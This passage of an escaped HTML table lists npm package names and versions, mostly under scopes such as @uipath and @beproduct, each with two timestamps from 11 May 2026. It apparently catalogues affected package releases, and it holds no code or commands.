align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/vss\">vss<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:22.054Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:33.647Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/orchestrator-tool\">orchestrator-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:21.107Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:33.211Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/solution-packager\">solution-packager<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.0.35<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.828Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:32.760Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/uipath-python-bridge\">uipath-python-bridge<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:19.848Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:32.130Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/codedapp-tool\">codedapp-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.535Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:31.764Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/project-packager\">project-packager<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.1.16<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:21.184Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:31.477Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/integrationservice-tool\">integrationservice-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:21.742Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:30.535Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/packager-tool-functions\">packager-tool-functions<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.182Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:29.906Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/tasks-tool\">tasks-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:21.041Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:29.873Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/solution-tool\">solution-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:21.624Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:28.844Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/packager-tool-connector\">packager-tool-connector<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.0.19<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:21.065Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:28.523Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/maestro-sdk\">maestro-sdk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:21.587Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:28.484Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/test-manager-tool\">test-manager-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.952Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:28.481Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/agent-tool\">agent-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:21.606Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:28.479Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/functions-tool\">functions-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:21.059Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:28.278Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/identity-tool\">identity-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.507Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:28.175Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/access-policy-tool\">access-policy-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.3.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.456Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:27.672Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/resources-tool\">resources-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.11<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.737Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:27.458Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/rpa-tool\">rpa-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.9.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:21.305Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:26.745Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/rpa-legacy-tool\">rpa-legacy-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.854Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:26.360Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/access-policy-sdk\">access-policy-sdk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.3.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:21.498Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:25.997Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/platform-tool\">platform-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.682Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:24.286Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~beproduct\">@beproduct<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@beproduct\/nestjs-auth\">nestjs-auth<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.16<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:34:12.922Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:38:47.982Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~beproduct\">@beproduct<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@beproduct\/nestjs-auth\">nestjs-auth<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.15<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:33:47.240Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:38:47.978Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~dirigible-ai\">@dirigible-ai<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@dirigible-ai\/sdk\">sdk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.6.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:18:06.457Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:26:52.979Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~dirigible-ai\">@dirigible-ai<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@dirigible-ai\/sdk\">sdk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.6.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:17:38.766Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:26:42.458Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~beproduct\">@beproduct<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@beproduct\/nestjs-auth\">nestjs-auth<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.13<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:24:24.647Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:25:52.691Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~beproduct\">@beproduct<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@beproduct\/nestjs-auth\">nestjs-auth<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.14<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:24:36.451Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:25:52.459Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~beproduct\">@beproduct<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@beproduct\/nestjs-auth\">nestjs-auth<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.8<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:20:48.119Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:25:44.452Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~beproduct\">@beproduct<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@beproduct\/nestjs-auth\">nestjs-auth<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:20:28.051Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:25:29.099Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~beproduct\">@beproduct<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@beproduct\/nestjs-auth\">nestjs-auth<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.9<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:20:58.341Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:25:28.657Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~beproduct\">@beproduct<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@beproduct\/nestjs-auth\">nestjs-auth<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:19:43.209Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:25:28.613Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~beproduct\">@beproduct<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@beproduct\/nestjs-auth\">nestjs-auth<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:20:18.281Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:25:26.837Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~beproduct\">@beproduct<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@beproduct\/nestjs-auth\">nestjs-auth<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.11<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:23:43.304Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:25:26.195Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~beproduct\">@beproduct<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@beproduct\/nestjs-auth\">nestjs-auth<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:20:08.742Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:25:25.801Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~beproduct\">@beproduct<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@beproduct\/nestjs-auth\">nestjs-auth<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:20:02.135Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:25:16.806Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~beproduct\">@beproduct<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@beproduct\/nestjs-auth\">nestjs-auth<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.7<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:20:39.661Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:25:14.678Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~beproduct\">@beproduct<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@beproduct\/nestjs-auth\">nestjs-auth<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.10<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:21:12.886Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:25:14.606Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~beproduct\">@beproduct<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@beproduct\/nestjs-auth\">nestjs-auth<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.12<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:23:57.029Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:25:14.470Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~ml-toolkit-ts\">@ml-toolkit-ts<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@ml-toolkit-ts\/preprocessing\">preprocessing<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:17:39.454Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:24:04.167Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~ml-toolkit-ts\">@ml-toolkit-ts<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@ml-toolkit-ts\/preprocessing\">preprocessing<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:18:05.715Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:23:52.742Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~ml-toolkit-ts\">@ml-toolkit-ts<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@ml-toolkit-ts\/xgboost\">xgboost<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:17:39.013Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:23:31.864Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/ml-toolkit-ts\">ml-toolkit-ts<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:18:05.176Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:23:30.418Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~ml-toolkit-ts\">@ml-toolkit-ts<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@ml-toolkit-ts\/xgboost\">xgboost<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:18:05.569Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:23:20.251Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/ml-toolkit-ts\">ml-toolkit-ts<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:17:38.111Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:23:18.442Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/agentwork-cli\">agentwork-cli<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:17:38.787Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:23:06.860Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/agentwork-cli\">agentwork-cli<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:18:05.230Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:23:05.204Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~taskflow-corp\">@taskflow-corp<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@taskflow-corp\/cli\">cli<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.27<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:15:42.215Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:21:13.062Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/cmux-agent-mcp\">cmux-agent-mcp<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:15:47.928Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T20:20:50.726Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p 